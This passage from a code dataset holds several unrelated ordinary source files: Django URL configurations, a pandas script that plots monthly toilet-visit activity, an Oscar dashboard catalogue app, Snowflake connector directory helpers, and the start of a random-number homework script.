{"api_name": "sys.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.LogSoftmax", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.NLLLoss", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 93, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 141, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 142, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 149, "usage_type": "call"}, {"api_name": "sklearn.metrics.normalized_mutual_info_score", "line_number": 153, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 153, "usage_type": "name"}, {"api_name": "sklearn.metrics.adjusted_rand_score", "line_number": 154, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 154, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 156, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 156, "usage_type": "name"}, {"api_name": "numpy.mat", "line_number": 158, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 159, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 160, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 165, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 206, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 227, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 259, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 277, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 278, "usage_type": "call"}]} {"seq_id": "343215164", "text": "from django.conf.urls import include, url\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n\n url(r'^api-auth/', include('rest_framework.urls',\n namespace='rest_framework')),\n\n url(r'^account/', include('account.urls')),\n\n url(r'^api/', include('orienteer.api.urls')),\n\n url(r'^', include('orienteer.urls')),\n]\n", "sub_path": "django-orienteer/conf/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 422, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 4, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 16, "usage_type": "call"}]} {"seq_id": "10517468", "text": "from django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('maps/', include('maps.urls')),\n path('times/', include('times.urls')),\n path('players/', include('players.urls')),\n path('servers/', include('servers.urls')),\n path('keys/', include('keys.urls'))\n]\n", "sub_path": "timerapi/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 345, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 10, "usage_type": "call"}]} {"seq_id": "336279283", "text": "#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nimport numpy as np\nfrom scipy import stats\n\n\nfrom matplotlib import pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nfrom scipy import stats\n\nimport seaborn as sns\n\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom pandas import DataFrame\n\n\n#Below script for toilet activity\n\nlog_entry = 'rule-toilet.csv'\nhole_csv = 'days-toilet_failure.csv'\nout_file = 'out.csv'\nresult_file = 'out.csv'\ngraph_title = 'Visiting the toilet activity'\nlabel_y1 = 'Average duration in seconds'\nlabel_y2 = 'Number of passage per month'\nfigure = 'toilet.pdf'\nfolder = 'result'\n\n\nactivity = pd.read_csv(log_entry, delimiter = ';', decimal=\",\" ,\n names=[\"date\", \"annotation\", \"activity_count\", \"duration\"],\n parse_dates=[\"date\"], index_col=\"date\")\n\n\n\n\n#days_number_on = [0,0,0,0,0.05,0,0.74,0.85,0.88,0.74,0.74,0.68]\n\n#activity.duration = activity.duration/60\n#activity.rename(columns={'duration':'durationMin'}, inplace=True)\n\n\n#out = activity.resample('M').agg({\"activity_count\":'sum', \"durationMin\":['mean', 'sem']})\nout = activity.resample('M').agg({\"activity_count\":'sum', \"duration\":['mean', 'sem']})\n\n\nexport_csv = out.to_csv (out_file, index = True, header=True, sep = ';')\n\nactivity_dataset = pd.read_csv(out_file, delimiter =';', decimal=\",\",\n names=[\"date\", \"sum\", \"mean\", \"sem\"],\n parse_dates=[\"date\"], index_col=\"date\")\n\n\n\nactivity_dataset = activity_dataset.drop('date')\nactivity_dataset = activity_dataset.loc[activity_dataset.index.dropna()]\n\nactivity_dataset.index = pd.to_datetime(activity_dataset.index)\n\n\n#idx = pd.date_range('2017-08-31', '2018-08-31', freq='m')\n\nidx = pd.date_range('2017-01-31', '2017-12-31', freq='m')\n\n\n\nactivity_dataset = activity_dataset.reindex(idx, fill_value=0)\n\n\nactivity_dataset.index = activity_dataset.index.strftime(\"%Y-%m\")\nactivity_dataset = pd.read_csv(out_file, delimiter =';', decimal=\",\",\n names=[\"date\", \"sum\", \"mean\", \"sem\"],\n parse_dates=[\"date\"], index_col=\"date\")\n\ntoilet_hole = pd.read_csv(hole_csv, delimiter =';', decimal=\",\"\n ,names=[\"date\", \"toilet_hole\"],\n parse_dates=[\"date\"], index_col=\"date\")\n\n\ntoilet_hole.index = toilet_hole.index.strftime(\"%Y-%m\")\n\n#number of days where there was no failure\n#toilet_hole = (30 - door_toilet)/35\n\nactivity_dataset = activity_dataset.drop('date')\nactivity_dataset = activity_dataset.loc[activity_dataset.index.dropna()]\n\nactivity_dataset.index = pd.to_datetime(activity_dataset.index)\n\n#idx = pd.date_range('2017-08-31', '2018-08-31', freq='m')\nidx = pd.date_range('2017-01-31', '2017-12-31', freq='m')\n\n\nactivity_dataset = activity_dataset.reindex(idx, fill_value=0)\n\n\nactivity_dataset.index = activity_dataset.index.strftime(\"%Y-%m\")\n\nresult = pd.concat([activity_dataset, toilet_hole], axis=1, join_axes=[activity_dataset.index])\n\n\nresult.index.rename('date', inplace=True)\n\nexport_csv = result.to_csv (result_file, index = True, header=False, sep = ';')\n\nresult_activity = pd.read_csv(result_file, delimiter =';',\n names=[\"date\", \"sum\", \"mean\", \"sem\", \"width\"])\nresult_activity = result_activity.fillna(0)\nresult_activity['width'] = (31 - result_activity['width'])/35\n\n#for exits devide the value by 60 to convert from seconds to minutes\nresult_activity['mean'] = result_activity['mean'] #/60\n#result_activity['sem'] = result_activity['sem']/60\n\n\nresult_activity.loc[result_activity['width'] == 0, 'on'] = 0\nresult_activity.loc[result_activity['width'] > 0, 'on'] = -10\nplt.rcParams['figure.figsize'] = [9, 7]\nx = np.arange(12)\nplt.bar(x , result_activity['mean'], width=result_activity['width'], yerr=result_activity['sem'],\n color=\"#1f77b4\"\n )\nplt.bar(x, result_activity['on'], width=result_activity['width'], color='green')\nplt.gcf().autofmt_xdate()\nplt.title(graph_title)\nplt.xticks(x, result_activity.date)\nplt.xlabel('Date')\nplt.ylabel(label_y1, color=\"#1f77b4\")\nplt.tick_params(axis=\"y\", labelcolor=\"#1f77b4\")\nplt.twinx()\nplt.ylabel(label_y2, color=\"r\")\nplt.tick_params(axis=\"y\", labelcolor=\"r\", labelsize = 8)\nplt.plot(result_activity['sum'], \"-r\")\nplt.xticks(x, result_activity.date)\n\nsns.set_style(\"dark\")\nresult_activity\n#plt.savefig('/path/'+folder+'/'+figure)\n#plt.savefig('/path/toilet.pdf')\n#plt.show()\n", "sub_path": "visualize_toilet.py", "file_name": "visualize_toilet.py", "file_ext": "py", "file_size_in_byte": 4427, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 92, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 103, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 122, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.twinx", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 140, "usage_type": "call"}]} {"seq_id": "324465248", "text": "from django.conf.urls import url\n\nfrom oscar.core.application import Application\nfrom oscar.core.loading import get_class\nfrom .views import CategoryFilterCreateView, FilterOptionCreateView,\\\n CategoryFilterListView, FilterEditView, FilterDeleteView\nfrom .views import ProductAddressCreateView, ProductAddressEditView,\\\n ProductAddressDeleteView, ProductAddressListView, DeliveryCreateView,\\\n DeliveryOptionCreateView, DeliveryListView, DeliveryEditView,\\\n DeliveryDeleteView\n\n\nclass CatalogueApplication(Application):\n name = None\n\n default_permissions = ['is_staff', ]\n permissions_map = _map = {\n 'catalogue-product': (['is_staff'], ['partner.dashboard_access']),\n 'catalogue-product-create': (['is_staff'],\n ['partner.dashboard_access']),\n 'catalogue-product-list': (['is_staff'], ['partner.dashboard_access']),\n 'catalogue-product-delete': (['is_staff'],\n ['partner.dashboard_access']),\n 'catalogue-product-lookup': (['is_staff'],\n ['partner.dashboard_access']),\n }\n\n product_list_view = get_class('dashboard.catalogue.views',\n 'ProductListView')\n product_lookup_view = get_class('dashboard.catalogue.views',\n 'ProductLookupView')\n product_create_redirect_view = get_class('dashboard.catalogue.views',\n 'ProductCreateRedirectView')\n product_createupdate_view = get_class('dashboard.catalogue.views',\n 'ProductCreateUpdateView')\n product_delete_view = get_class('dashboard.catalogue.views',\n 'ProductDeleteView')\n\n product_class_create_view = get_class('dashboard.catalogue.views',\n 'ProductClassCreateView')\n product_class_update_view = get_class('dashboard.catalogue.views',\n 'ProductClassUpdateView')\n product_class_list_view = get_class('dashboard.catalogue.views',\n 'ProductClassListView')\n product_class_delete_view = get_class('dashboard.catalogue.views',\n 'ProductClassDeleteView')\n\n category_list_view = get_class('dashboard.catalogue.views',\n 'CategoryListView')\n category_detail_list_view = get_class('dashboard.catalogue.views',\n 'CategoryDetailListView')\n category_create_view = get_class('dashboard.catalogue.views',\n 'CategoryCreateView')\n category_update_view = get_class('dashboard.catalogue.views',\n 'CategoryUpdateView')\n category_delete_view = get_class('dashboard.catalogue.views',\n 'CategoryDeleteView')\n\n stock_alert_view = get_class('dashboard.catalogue.views',\n 'StockAlertListView')\n\n def get_urls(self):\n urls = [\n url(r'^products/(?P<pk>\\d+)/$',\n self.product_createupdate_view.as_view(),\n name='catalogue-product'),\n url(r'^products/create/$',\n self.product_create_redirect_view.as_view(),\n name='catalogue-product-create'),\n url(r'^products/create/(?P<product_class_slug>[\\w-]+)/$',\n self.product_createupdate_view.as_view(),\n name='catalogue-product-create'),\n url(r'^products/(?P<parent_pk>[-\\d]+)/create-variant/$',\n self.product_createupdate_view.as_view(),\n name='catalogue-product-create-child'),\n url(r'^products/(?P<pk>\\d+)/delete/$',\n self.product_delete_view.as_view(),\n name='catalogue-product-delete'),\n url(r'^$', self.product_list_view.as_view(),\n name='catalogue-product-list'),\n url(r'^stock-alerts/$', self.stock_alert_view.as_view(),\n name='stock-alert-list'),\n url(r'^product-lookup/$', self.product_lookup_view.as_view(),\n name='catalogue-product-lookup'),\n url(r'^categories/$', self.category_list_view.as_view(),\n name='catalogue-category-list'),\n url(r'^categories/(?P<pk>\\d+)/$',\n self.category_detail_list_view.as_view(),\n name='catalogue-category-detail-list'),\n url(r'^categories/create/$', self.category_create_view.as_view(),\n name='catalogue-category-create'),\n url(r'^categories/create/(?P<parent>\\d+)$',\n self.category_create_view.as_view(),\n name='catalogue-category-create-child'),\n\n #Filter Links\n url(r'^categories/filters/create/$', \n CategoryFilterCreateView,\n name='filter-create'), #end create\n url(r'^categories/filters/list/$',\n CategoryFilterListView,\n name='filter-list'), #end list\n url(r'^categories/filters/options/create/(?P<pk>\\d+)$',\n FilterOptionCreateView,\n name='filter-option-create'), #end filter list\n url(r'^categories/filters/edit/(?P<pk>\\d+)$', \n FilterEditView, \n name='filter-edit'), #end filter edit\n url(r'^categories/filters/delete/(?P<pk>\\d+)$',\n FilterDeleteView,\n name='filter-delete'), #end filter delete\n\n #Delivery Links\n url(r'^categories/delivery/provider/create/$', \n DeliveryCreateView,\n name='delivery-provider-create'), #end create\n url(r'^categories/delivery/option/create/(?P<pk>\\d+)$', \n DeliveryOptionCreateView,\n name='delivery-option-create'), #end option create\n url(r'^categories/delivery/provider/list/$', \n DeliveryListView,\n name='delivery-provider-list'), #end list\n url(r'^categories/delivery/provider/edit/(?P<pk>\\d+)$', \n DeliveryEditView,\n name='delivery-provider-edit'), #end provider edit\n # url(r'^categories/delivery/option/delete/(?P<ppk>\\d+)/(?P<opk>\\d+)$',\n # DeliveryOptionDeleteView,\n # name='delivery-option-delete'), #end option delete\n url(r'^categories/delivery/provider/delete/(?P<pk>\\d+)$',\n DeliveryDeleteView,\n name='delivery-provider-delete'), #end provider delete\n\n #Addresses' Links\n url(r'categories/address/create/$',\n ProductAddressCreateView,\n name='address-create'), #end create\n url(r'categories/address/edit/(?P<pk>\\d+)$',\n ProductAddressEditView,\n name='address-edit'), #end edit\n url(r'categories/address/delete/(?P<pk>\\d+)$',\n ProductAddressDeleteView,\n name='address-delete'), #end delete\n url(r'categories/address/list/$',\n ProductAddressListView,\n name='address-list'), #end list\n\n url(r'^categories/(?P<pk>\\d+)/update/$',\n self.category_update_view.as_view(),\n name='catalogue-category-update'),\n url(r'^categories/(?P<pk>\\d+)/delete/$',\n self.category_delete_view.as_view(),\n name='catalogue-category-delete'),\n url(r'^product-type/create/$',\n self.product_class_create_view.as_view(),\n name='catalogue-class-create'),\n url(r'^product-types/$',\n self.product_class_list_view.as_view(),\n name='catalogue-class-list'),\n url(r'^product-type/(?P<pk>\\d+)/update/$',\n self.product_class_update_view.as_view(),\n name='catalogue-class-update'),\n url(r'^product-type/(?P<pk>\\d+)/delete/$',\n self.product_class_delete_view.as_view(),\n name='catalogue-class-delete'),\n ]\n return self.post_process_urls(urls)\n\n\napplication = CatalogueApplication()\n", "sub_path": "forkedApps/dashboard/catalogue/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 8309, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "oscar.core.application.Application", "line_number": 13, "usage_type": "name"}, {"api_name": "oscar.core.loading.get_class", "line_number": 28, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 30, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 32, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 34, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 36, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 39, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 41, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 43, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 45, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 48, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 50, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 52, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 54, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 56, "usage_type": "call"}, {"api_name": "oscar.core.loading.get_class", "line_number": 59, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 64, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 67, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 70, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 73, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 76, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 79, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 81, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 83, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 85, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 87, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 90, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 92, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 97, "usage_type": "call"}, {"api_name": "views.CategoryFilterCreateView", "line_number": 98, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 100, "usage_type": "call"}, {"api_name": "views.CategoryFilterListView", "line_number": 101, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 103, "usage_type": "call"}, {"api_name": "views.FilterOptionCreateView", "line_number": 104, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 106, "usage_type": "call"}, {"api_name": "views.FilterEditView", "line_number": 107, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 109, "usage_type": "call"}, {"api_name": "views.FilterDeleteView", "line_number": 110, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 114, "usage_type": "call"}, {"api_name": "views.DeliveryCreateView", "line_number": 115, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 117, "usage_type": "call"}, {"api_name": "views.DeliveryOptionCreateView", "line_number": 118, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 120, "usage_type": "call"}, {"api_name": "views.DeliveryListView", "line_number": 121, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 123, "usage_type": "call"}, {"api_name": "views.DeliveryEditView", "line_number": 124, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 129, "usage_type": "call"}, {"api_name": "views.DeliveryDeleteView", "line_number": 130, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 134, "usage_type": "call"}, {"api_name": "views.ProductAddressCreateView", "line_number": 135, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 137, "usage_type": "call"}, {"api_name": "views.ProductAddressEditView", "line_number": 138, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 140, "usage_type": "call"}, {"api_name": "views.ProductAddressDeleteView", "line_number": 141, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 143, "usage_type": "call"}, {"api_name": "views.ProductAddressListView", "line_number": 144, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 147, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 150, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 153, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 156, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 159, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 162, "usage_type": "call"}]} {"seq_id": "125228463", "text": "#\n# Copyright (c) 2012-2023 Snowflake Computing Inc. All rights reserved.\n#\n\nfrom __future__ import annotations\n\nimport os\nfrom typing import Literal\n\nfrom platformdirs import PlatformDirs, PlatformDirsABC\n\n\ndef _resolve_platform_dirs() -> PlatformDirsABC:\n \"\"\"Decide on what PlatformDirs class to use.\n\n In case a folder exists (which can be customized with the environmental\n variable `SNOWFLAKE_HOME`) we use that directory as all platform\n directories. If this folder does not exist we'll fall back to platformdirs\n defaults.\n\n This helper function was introduced to make this code testable.\n \"\"\"\n platformdir_kwargs = {\n \"appname\": \"snowflake\",\n \"appauthor\": False,\n }\n snowflake_home = os.path.expanduser(\n os.environ.get(\"SNOWFLAKE_HOME\", \"~/.snowflake/\"),\n )\n if os.path.exists(snowflake_home):\n return SFPlatformDirs(\n snowflake_home,\n **platformdir_kwargs,\n )\n else:\n # In case SNOWFLAKE_HOME does not exist we fall back to using\n # platformdirs to determine where system files should be placed. Please\n # see docs for all the directories defined in the module at\n # https://platformdirs.readthedocs.io/\n return PlatformDirs(**platformdir_kwargs)\n\n\nclass SFPlatformDirs(PlatformDirsABC):\n \"\"\"Single folder platformdirs.\n\n This class introduces a PlatformDir class where everything is placed into a\n single folder. This is intended for users who prefer portability over all\n else.\n \"\"\"\n\n def __init__(\n self,\n single_dir: str,\n appname: str | None = None,\n appauthor: str | None | Literal[False] = None,\n version: str | None = None,\n roaming: bool = False,\n multipath: bool = False,\n opinion: bool = True,\n ensure_exists: bool = False,\n ) -> None:\n super().__init__(\n appname=appname,\n appauthor=appauthor,\n version=version,\n roaming=roaming,\n multipath=multipath,\n opinion=opinion,\n ensure_exists=ensure_exists,\n )\n self.single_dir = single_dir\n\n @property\n def user_data_dir(self) -> str:\n \"\"\"data directory tied to to the user\"\"\"\n return self.single_dir\n\n @property\n def site_data_dir(self) -> str:\n \"\"\"data directory shared by users\"\"\"\n return self.user_data_dir\n\n @property\n def user_config_dir(self) -> str:\n \"\"\"config directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def site_config_dir(self) -> str:\n \"\"\"config directory shared by the users\"\"\"\n return self.user_data_dir\n\n @property\n def user_cache_dir(self) -> str:\n \"\"\"cache directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def site_cache_dir(self) -> str:\n \"\"\"cache directory shared by users\"\"\"\n return self.user_data_dir\n\n @property\n def user_state_dir(self) -> str:\n \"\"\"state directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_log_dir(self) -> str:\n \"\"\"log directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_documents_dir(self) -> str:\n \"\"\"documents directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_runtime_dir(self) -> str:\n \"\"\"runtime directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_music_dir(self) -> str:\n \"\"\"music directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_pictures_dir(self) -> str:\n \"\"\"pictures directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_videos_dir(self) -> str:\n \"\"\"videos directory tied to the user\"\"\"\n return self.user_data_dir\n\n @property\n def user_downloads_dir(self) -> str:\n \"\"\"downloads directory tied to the user\"\"\"\n return self.user_data_dir\n", "sub_path": "src/snowflake/connector/sf_dirs.py", "file_name": "sf_dirs.py", "file_ext": "py", "file_size_in_byte": 4055, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.expanduser", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 28, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "platformdirs.PlatformDirs", "line_number": 40, "usage_type": "call"}, {"api_name": "platformdirs.PlatformDirsABC", "line_number": 13, "usage_type": "name"}, {"api_name": "platformdirs.PlatformDirsABC", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 55, "usage_type": "name"}]} {"seq_id": "590089637", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math as math\nimport time\n\n\n\n# Q1 (a)\nprint(\"Q1 (a)\")\ndef LGM_uniform(seed, n):\n m = pow(2,31)-1\n b = 0\n a = pow(7,5)\n X = np.zeros(n)\n U = np.zeros(n)\n X[0] = seed\n for i in range(1,n):\n X[i] = np.mod(X[i-1]*a+b,m)\n for i in range(0,n):\n U[i] = X[i]/m\n return U\n\nU1a = LGM_uniform(101,10000)\nplt.hist(U1a, bins=30)\nplt.title(\"Uniform_LGM Histogram\")\nplt.xlabel(\"$U1a_i$\")\nplt.ylabel(\"Frequency\")\nprint(\"The mean and std for LGM_Uniform is:\",round(np.mean(U1a),4),round(np.std(U1a),4))\n\nplt.show()\n\n# Q1 (b)\nprint(\"Q1 (b)\")\nnp.random.seed(5)\nU1b = np.random.uniform(size=10000)\nplt.hist(U1b, bins=30, color='yellow')\nplt.title(\"Uniform_Built in 